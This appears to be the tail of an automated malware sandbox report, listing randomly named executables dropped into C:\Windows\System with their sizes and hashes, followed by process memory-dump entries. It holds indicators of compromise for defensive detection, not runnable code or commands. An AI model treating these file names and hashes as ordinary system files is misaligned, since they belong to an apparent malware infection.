b813255dbe763a41d42aa4553c3859fe2172f9c858ffa85126d456a6d190b3a7c83c998cd6fb36ea7acf1359cc4df1aa006e08977e29772bf72ff3e56a783239

Download Submit
C:\Windows\System\YPxgRBD.exe

Filesize
1.9MB

MD5
d7d66e63597d12d6607803b1990e2b24

SHA1
41e02a57c63aadc37af1737a27e2670ab09ec15f

SHA256
ac0972b73cc06b05a34ce5caddfeddf9ea011ed1a60ed61e4ad601df0e48a9fd

SHA512
6958d0103ab0234ee4da533af3c18bb3b57c54bc4a8512a85c27bfa1a596ee7ce7186df077707cc0587a3d3f7fc4d401e9934cdf3384d89e01c921d6122532b2

Download Submit
C:\Windows\System\ZqqqViw.exe

Filesize
1.9MB

MD5
0210add9f70dfa7af3226b5e37ddd5bc

SHA1
ca264d38620d9e977d8396c45f6b0fe7d15036e9

SHA256
38977558e67bd29d6e222f79ad64bcf7ed174fc59c8b8eb7b6cfebfdd307c4a3

SHA512
087490ebea3a160b7b947a1110b5475c23a6178a49d64ed6e80ddf39df269e41ca69ecf1ba5633073670ddf3e0433d2a7bb70fa7cfa9f642b0309ca0dd95fd12

Download Submit
C:\Windows\System\euPJIYT.exe

Filesize
1.9MB

MD5
93ccd7dcd5d090610d5ba08186af25b3

SHA1
e4ca9a514c036f874a15818189fe96cffa9da144

SHA256
9b405f067a4f8eb433dd61f65097ac42ef84adc5cd246fb2c806082829a32264

SHA512
03e2896fc9075bb28c915351246c426db1e979a5485604ca2e511756e3e0a0a21ac155338b4d9a1488a9d7bc2d59819325c24451eb62b5962419219e7706b1c5

Download Submit
C:\Windows\System\eyiuXYW.exe

Filesize
1.9MB

MD5
741e971d253f79e2aa455ccb989dcbf5

SHA1
3851ef3d412a0f422c3d27dad5ce3b51c1cb0d54

SHA256
ab995462ffc4a649a41162d7dd4bc6c4b09e9d8fc93198aa0817847bb45fa006

SHA512
1e73897fc08f9647b41cb065598b22e3cd02e43a7846043190611c6928d4c6935570b6ac6f90e886cb598e58227e10facd01afb3f803178d4d57796334047973

Download Submit
C:\Windows\System\ftSLGoa.exe

Filesize
1.9MB

MD5
5ad4a848860e77b601edc29db06db4ec

SHA1
114a6dec85156bbc352bc0d604cd8bec1216492e

SHA256
9df297f5ec9ac1285189aebdc999d75c674adffbc21769d23754236128e8ef0c

SHA512
fad4ca4294ac69fc342848f869fe132023b59d7c960510d4ceadbc8d8b999013ccb743654f09fa8757bb3b9331bd9b33e4a4d860af0261c344966201c5ac7b3e

Download Submit
C:\Windows\System\gMKJvJM.exe

Filesize
1.9MB

MD5
9bfac5337b0b40641137a1996c11e35e

SHA1
b00aebec99e9eca2e874b060f777a0059ed5ad05

SHA256
6dd5ea3919d88687d08d8def96152b713167869cfa38090588d9c0864ef8c4a8

SHA512
fd17f6c3e5b583041dc1d5eff050c1f163903b43345e10cb9ac89640e5558892dd4af340562fbbcc79f97cc8348bbb1852bceac5fd59b8b6ee082c296766e199

Download Submit
C:\Windows\System\gXjPDZU.exe

Filesize
1.9MB

MD5
630c80f360776908e11d601a31bd7876

SHA1
3755e4c45ba59b446e0c0b2c1693506d0cab4c4b

SHA256
57f8ec8dba1409da55f8e897051769ec267c3d2db027a846449228ae5a717d58

SHA512
2d8cfa40fe1f29e82d5b69cee8c0611787eb19817c6cdfb50e77de35dddd06a857b09389f5760f0e7bd12f54ab49db4039c6408ff35b2ebb41932652f6725dd3

Download Submit
C:\Windows\System\grNfMgN.exe

Filesize
1.9MB

MD5
de8ac5a21d0f7d5d892f11f1256cde6b

SHA1
7b8c89b596b0efcc9321880aa711a2896ea379ed

SHA256
9ce9ab6e2522b05c7ecc925b2dd1ef2b904aa6abdc7c9c0c545f9c990cbe6ca5

SHA512
9a0cdf52f70957b370987f124b117681e93fb0fca7b746dc07d3a9ce48e8440dadc2df0d17e3b40e81595d11ce55f7a490bf69873b6ce5b4a63a5f1a0a9fa139

Download Submit
C:\Windows\System\kkDepjH.exe

Filesize
1.9MB

MD5
e099a806c5d4e4fb00498b44739256de

SHA1
e40ea5335a8ee52087a140e84e0736dfe466305a

SHA256
10cf0524999b5192ad01cfc2bfe6c0fff3aae1431b96f707b9793e609e7a6972

SHA512
41dbebacb1d5a77997a3791b52a962950f7fe8586a7eb27e549d297a791785339cdc537b225b493d71292d187be7449103b126f77d2878a902d6077f6ecb975c

Download Submit
C:\Windows\System\lGFsHCF.exe

Filesize
1.9MB

MD5
e51772b0aa499ae06337893463dd841b

SHA1
40b390d39ae87b94a0286638e928fd7ea04c28ac

SHA256
83fc07a503ae59a425a29ab4a009ffd701b5dcc9f1f8508264312e65d32106b2

SHA512
7f00de5fa8fbbb9a4234ea24fb627ba6bf23ca668b53439226ae761580eb11dab5992660806320c09baa9d3f50195769885c3ac7e00b33380c008172c3e08f79

Download Submit
C:\Windows\System\lJuyRRS.exe

Filesize
1.9MB

MD5
56aaa84458b286ca76c5696ff23ba8ad

SHA1
9871edf49aab1b211d2a5ae3b6c9598ed5de498a

SHA256
989e9b585cb6bd1d1ce582d46232399613ab86dc1eae55c484b44419944b16aa

SHA512
7337d2b8b5f075ffd4da4e711ef51ddcf342c6f5db4c7690cd4f34e1b1d868520b966be26d047d6a5c34b7412aecc2b468798d54ff802820abc8a28056016801

Download Submit
C:\Windows\System\mGzBUEY.exe

Filesize
1.9MB

MD5
d57def50c8648b9c3872557da63ed4ca

SHA1
7396c36f848bc6cbf1338a249d6d13aeb6bb5ee4

SHA256
136910be08ea67275e44ce3175f038bf77429173c03455b5d0d3ab6d438d3c99

SHA512
ee924b1caf1add73afe547f607cac5986847a43ff7a2d9206070a68dec1b731bf2a8207b908df39a60162026fe03345d43484de18e2892009df54a35c7890d49

Download Submit
C:\Windows\System\mdBITzI.exe

Filesize
1.9MB

MD5
90ec07a0b4daedaaf92aea1ccf07df34

SHA1
eea519adaed59d09f2ef0a6a70505dbcc49c2491

SHA256
37bbb598a5a8912dc373b2d431ecd95ca4dd251a16473617362fc167d2750110

SHA512
321bb779224297abe700e31edb5565dc1a3e8c87d3b9a0181efa93e0de13fb99cc038f0bc6a56c9390eb326e959d6b2cc8271d3d31396f0e027296ed4765a31e

Download Submit
C:\Windows\System\njrqYwu.exe

Filesize
1.9MB

MD5
0dee2907af361bde9858df4649b8643b

SHA1
ac474b302bef4b3389fba7ed04e47c7997b733f2

SHA256
90295ef694f218cbf5f81c9b2cb5df5d5e42f6854906777acf0f89bf60e41ebb

SHA512
fa112a13389619001dded4e2f24aac10daf9c6a383c1748340bfd0f9c2cc211296013f502d0caa2197bace26d57ba2c1b3ee9e2b4f97601caac4aaa5daa785bb

Download Submit
C:\Windows\System\ogLHqaP.exe

Filesize
1.9MB

MD5
83b30fe9151ca5210b3ed38ab45f133b

SHA1
9e4746b67e1919c20032db570be5bd3cc9e1f390

SHA256
53b33426ed7268c9da570cc920461dfd43a0fa74eb73cee9ea03b89b3b01acf8

SHA512
48f81e476ce8f92e74ba78dc14e73aed9edf45afc0251527c1635e04a511f9cd14c062c431b9577cae30451d9978dd211f047d76eb194a6fb2e9017789919477

Download Submit
C:\Windows\System\ohVsxIL.exe

Filesize
1.9MB

MD5
460ddab205842ed105b97d41c3c688ff

SHA1
b18bd7181fa58579aef08f7c937bf9d060cf0b76

SHA256
c36d510cdaca43255cd002d9437c5d375280fb4b8e40f7a633ed4b933325940e

SHA512
30291a95eaba991fa080af9cee6585e4d543286d4e74a206c39739d784bf6a138c8f0dfa9200b8153f5801b95f2796792029da87adee3ff244c9ee9147b4dba5

Download Submit
C:\Windows\System\otNYPXO.exe

Filesize
1.9MB

MD5
7c13020518c9f509935ac6d6ad0e9da4

SHA1
de2e85e7ca7a1b99fc9523503ebe88d60e71aa91

SHA256
2c39cf3f50a16908a11f5807de92a5466721f53e5baf671f47cda3525f4c295c

SHA512
4ae1eea6c18379335624ea6c9cd56c57256dca9c91753e13564774954162bab68b673b7230bce8a91791bc75289c8ab8f15dbfbda84e6071d16e62efe71d1c02

Download Submit
C:\Windows\System\qTzLlWd.exe

Filesize
1.9MB

MD5
bd3cdec25e22a133ccbfe535c739d8dd

SHA1
d0d1f5024e8600080ca059f83d3b7294def59b82

SHA256
8b26c2a883cd05cecbfd4747190baf76f6f1e0a857d287f801b41b68de6e6965

SHA512
8d6bf7b7686a974989e2625c24b3be688a75446586069cbcdcd8aea935456f3f61d59eac841be1505e4c57de4e5159676d78dba99f4b1cbb74bf853ab6713d77

Download Submit
C:\Windows\System\qcqFhmG.exe

Filesize
1.9MB

MD5
7264554051a7ebde3f9318c2c2a0d5f4

SHA1
6e44f56c1aa22bb71318b8565b146c4cb78175b0

SHA256
4c66180eaedf1065c6581957fade29e7876a9b61a255b326436aaa78a81047df

SHA512
f9b4a525786814ad9105d67acecdbd71c305c55192b9b3379d9bcea8a0335ca9a8d1e91a6493d372da1e3cf7a2ad75ee0834ea3705c356a10265d797cef7ac18

Download Submit
C:\Windows\System\rkWjWSc.exe

Filesize
1.9MB

MD5
41ed52a8875a0f5d59dcec82eceb8de8

SHA1
ab05e42bab558e4efac653f042a85eba172816e5

SHA256
7d61d8720a25b58c1e81729da84df74ea764d056b1c41881856118a21e8cdd9a

SHA512
043ea50745addace2e94117dec79d42d94265ea6c50f0e114431b76f44f3761e05dbb818dae29f2508c2ee2884d1dde4484b735c8f9c42d9cf260a3b9f85d432

Download Submit
C:\Windows\System\rsICDdb.exe

Filesize
1.9MB

MD5
43da22dd614df0e65842cf8dcff34e09

SHA1
033cb35a5a8718187c8603a5ea81b606a6cee5d3

SHA256
74069d387ab791f32230d4f22994b24740c611ba635e75bf3b8f2c39c64f9e45

SHA512
2d786cba114a02cd38ab9c52f8aaf19c5a395d2057f55a051908ea05d45082e911c6d17ab07332c935a62f4194eb661aa8b09a12802f1cccfb3179d5e6cf0a65

Download Submit
C:\Windows\System\vFaEzlU.exe

Filesize
8B

MD5
9e16362b7eef9ff59cf4576b688fec20

SHA1
58714a79316bdda8b345ca47c2a7e8087e024871

SHA256
cb157cd47cb9ddacb8fa194262e9cc1364ca68490d93ad041938e77ef90ead7c

SHA512
53056e2e9a952538e1c61538c2bad2166adaf2d4a03d0e97e211329cd7f80967988343aa21690b08c2f1ad6d3fabfdc6095392f57b127d575de79d724d1a09de

Download Submit
C:\Windows\System\xNzYANO.exe

Filesize
1.9MB

MD5
20c48f17a0b5784fd9e949bc8b7836a4

SHA1
6450cff8a6dab8abb51b8c4bb2e7fef02daabddd

SHA256
b6c1cf8d5e670b4b4dec89327ab86b1fabf1e398001b1a8b8d34a9d1704c4f78

SHA512
b68efa623b4076e3bda815050c52454fac881c8f642d7a38756a2e17e90ac515724a96f707411749eb1d5bd369ef966dd0926aeff2e5ccfe23e141cb650ad6d9

Download Submit
C:\Windows\System\xfLzmmf.exe

Filesize
1.9MB

MD5
a10ed50e65605fd93f19e05d74b3b310

SHA1
1457cc4e9a09d8fb11f40aa4cedb3c3dda8c58e8

SHA256
6e7a9a24885c8cc632f12c254d73e2f4f171432becf6703d47b755d90a607674

SHA512
c914640683213ccaf905d181c2ba49a2503036e858b3d928144e61b4ce70b10902c7daeabd8c05ba5d2a399ef6ed405380ef7fa1f2f1a4c114841e7596171539

Download Submit
C:\Windows\System\yXGrygG.exe

Filesize
1.9MB

MD5
da246790b5dba888b8e556944d7427be

SHA1
95267bd8aeed1459fdf180f509f08f15006ae481

SHA256
cd0686c744257a4c3590ed9f4f000cfa7b02f79797bd3b0a3e3b1eabfaa8e856

SHA512
6d0537ccbddb31a54ffd57ffcffba3aa4262f210913fab3f0cbc331790a4f370d3e4be34d961838294d2e9b169e4031affc2d68f152cf8feb2b7caef7a99d925

Download Submit
memory/844-453-0x00007FF7E1B90000-0x00007FF7E1F82000-memory.dmp

Filesize
3.9MB

Download
memory/844-6438-0x00007FF7E1B90000-0x00007FF7E1F82000-memory.dmp

Filesize
3.9MB

Download
memory/912-6417-0x00007FF6FC880000-0x00007FF6FCC72000-memory.dmp

Filesize
3.9MB

Download
memory/912-454-0x00007FF6FC880000-0x00007FF6FCC72000-memory.dmp

Filesize
3.9MB

Download
memory/2188-6402-0x00007FF6E0DE0000-0x00007FF6E11D2000-memory.dmp

Filesize
3.9MB

Download
memory/2188-612-0x00007FF6E0DE0000-0x00007FF6E11D2000-memory.dmp

Filesize
3.9MB

Download
memory/2312-6398-0x00007FF7396D0000-0x00007FF739AC2000-memory.dmp

Filesize
3.9MB

Download
memory/2312-115-0x00007FF7396D0000-0x00007FF739AC2000-memory.dmp

Filesize
3.9MB

Download
memory/2404-614-0x00007FF660750000-0x00007FF660B42000-memory.dmp

Filesize
3.9MB

Download
memory/2404-6440-0x00007FF660750000-0x00007FF660B42000-memory.dmp

Filesize
3.9MB

Download
memory/2464-494-0x00007FF759F00000-0x00007FF75A2F2000-memory.dmp

Filesize
3.9MB

Download
memory/2464-6493-0x00007FF759F00000-0x00007FF75A2F2000-memory.dmp

Filesize
3.9MB

Download
memory/2612-44-0x00007FF7159D0000-0x00007FF715DC2000-memory.dmp

Filesize
3.9MB

Download
memory/2612-6383-0x00007FF7159D0000-0x00007FF715DC2000-memory.dmp

Filesize
3.9MB

Download
memory/2864-6424-0x00007FF769680000-0x00007FF769A72000-memory.dmp

Filesize
3.9MB

Download
memory/2864-615-0x00007FF769680000-0x00007FF769A72000-memory.dmp

Filesize
3.9MB

Download
memory/2972-53-0x00007FF697540000-0x00007FF697932000-memory.dmp

Filesize
3.9MB

Download
memory/2972-6379-0x00007FF697540000-0x00007FF697932000-memory.dmp

Filesize
3.9MB

Download
memory/3256-73-0x00007FF7518E0000-0x00007FF751CD2000-memory.dmp

Filesize
3.9MB

Download
memory/3256-6395-0x00007FF7518E0000-0x00007FF751CD2000-memory.dmp

Filesize
3.9MB

Download
memory/3280-290-0x00007FF7458E0000-0x00007FF745CD2000-memory.dmp

Filesize
3.9MB

Download
memory/3280-6391-0x00007FF7458E0000-0x00007FF745CD2000-memory.dmp

Filesize
3.9MB

Download
memory/3504-6430-0x00007FF6247A0000-0x00007FF624B92000-memory.dmp

Filesize
3.9MB

Download
memory/3504-493-0x00007FF6247A0000-0x00007FF624B92000-memory.dmp

Filesize
3.9MB

Download
memory/3528-6428-0x00007FF764890000-0x00007FF764C82000-memory.dmp

Filesize
3.9MB

Download
memory/3528-557-0x00007FF764890000-0x00007FF764C82000-memory.dmp

Filesize
3.9MB

Download
memory/3824-6410-0x00007FF7DB600000-0x00007FF7DB9F2000-memory.dmp

Filesize
3.9MB

Download
memory/3824-186-0x00007FF7DB600000-0x00007FF7DB9F2000-memory.dmp

Filesize
3.9MB

Download
memory/3976-355-0x00007FF783100000-0x00007FF7834F2000-memory.dmp

Filesize
3.9MB

Download
memory/3976-6449-0x00007FF783100000-0x00007FF7834F2000-memory.dmp

Filesize
3.9MB

Download
memory/4452-29-0x00007FFD23260000-0x00007FFD23D21000-memory.dmp

Filesize
10.8MB

Download
memory/4452-559-0x0000020CE5580000-0x0000020CE5590000-memory.dmp

Filesize
64KB

Download
memory/4452-108-0x0000020CFFCB0000-0x0000020CFFCD2000-memory.dmp

Filesize
136KB

Download
memory/4452-558-0x0000020CE5580000-0x0000020CE5590000-memory.dmp

Filesize
64KB

Download
memory/4584-6404-0x00007FF788170000-0x00007FF788562000-memory.dmp

Filesize
3.9MB

Download
memory/4584-187-0x00007FF788170000-0x00007FF788562000-memory.dmp

Filesize
3.9MB

Download
memory/4852-613-0x00007FF609800000-0x00007FF609BF2000-memory.dmp

Filesize
3.9MB

Download
memory/4852-6468-0x00007FF609800000-0x00007FF609BF2000-memory.dmp

Filesize
3.9MB

Download
memory/4888-356-0x00007FF6964D0000-0x00007FF6968C2000-memory.dmp

Filesize
3.9MB

Download
memory/4888-6446-0x00007FF6964D0000-0x00007FF6968C2000-memory.dmp

Filesize
3.9MB

Download
memory/4912-0-0x00007FF69ACC0000-0x00007FF69B0B2000-memory.dmp

Filesize
3.9MB

Download
memory/4912-1-0x000001CC9F4F0000-0x000001CC9F500000-memory.dmp

Filesize
64KB

Download
memory/5024-6444-0x00007FF7B2350000-0x00007FF7B2742000-memory.dmp

Filesize
3.9MB

Download
memory/5024-384-0x00007FF7B2350000-0x00007FF7B2742000-memory.dmp

Filesize
3.9MB

Download
memory/5048-6433-0x00007FF6CCCD0000-0x00007FF6CD0C2000-memory.dmp

Filesize
3.9MB

Download
memory/5048-291-0x00007FF6CCCD0000-0x00007FF6CD0C2000-memory.dmp

Filesize
3.9MB

Download
memory/5088-6387-0x00007FF7BB1F0000-0x00007FF7BB5E2000-memory.dmp

Filesize
3.9MB

Download
memory/5088-237-0x00007FF7BB1F0000-0x00007FF7BB5E2000-memory.dmp

Filesize
3.9MB

Download